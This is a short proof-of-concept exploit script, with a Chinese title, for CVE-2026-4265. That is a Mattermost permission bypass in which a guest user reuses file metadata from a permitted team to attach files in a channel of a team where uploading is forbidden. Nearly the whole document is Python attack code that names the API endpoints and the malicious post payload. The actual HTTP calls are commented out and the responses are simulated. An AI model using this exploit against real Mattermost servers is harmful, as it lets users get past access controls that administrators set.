CVE-2026-4265 Mattermost团队权限绕过漏洞导致Guest用户可在无权限频道上传文件

# CVE-2026-4265 PoC - Mattermost Permission Bypass File Upload # This PoC demonstrates the permission bypass vulnerability import requests import json import sys TARGET_URL = "https://your-mattermost-server.com" ATTACKER_TOKEN = "your_guest_user_token" SOURCE_TEAM_ID = "team_with_upload_permission" TARGET_TEAM_ID = "team_without_upload_permission" TARGET_CHANNEL_ID = "channel_without_permission" def get_auth_headers(): return { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } def step1_upload_file_in_source_team(): """Step 1: Upload file in team where guest has permission""" print("[Step 1] Uploading file in source team with permission...") upload_url = f"{TARGET_URL}/api/v4/files" headers = get_auth_headers() # Simulate file upload files = {'file': ('test.txt', b'Confidential data', 'text/plain')} data = {'channel_id': 'source_channel_id'} # response = requests.post(upload_url, headers=headers, files=files, data=data) # file_metadata = response.json() # Simulated response file_metadata = { "file_id": "abc123xyz789", "filename": "test.txt", "post_id": "post_123", "team_id": SOURCE_TEAM_ID, "upload_session_id": "upload_session_456" } print(f"[+] File uploaded successfully: {file_metadata}") return file_metadata def step2_exploit_target_team(file_metadata): """Step 2: Reuse file metadata to upload in target team without permission""" print("[Step 2] Exploiting target team with reused file metadata...") create_post_url = f"{TARGET_URL}/api/v4/posts" headers = get_auth_headers() # Malicious payload - reusing file from different team malicious_payload = { "channel_id": TARGET_CHANNEL_ID, "message": "Uploaded file via permission bypass", "file_ids": [file_metadata["file_id"]] } print(f"[+] Sending request to target channel: {TARGET_CHANNEL_ID}") print(f"[+] Payload: {json.dumps(malicious_payload, indent=2)}") # response = requests.post(create_post_url, headers=headers, json=malicious_payload) # print(f"[Response] Status: {response.status_code}") # print(f"[Response] Body: {response.text}") return True def main(): print("=" * 60) print("CVE-2026-4265 PoC - Mattermost Permission Bypass") print("=" * 60) try: # Execute attack chain file_metadata = step1_upload_file_in_source_team() success = step2_exploit_target_team(file_metadata) if success: print("\n[!] Exploitation completed - Guest user bypassed upload_file permission") print("[!] File was uploaded to channel without proper permissions") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": main()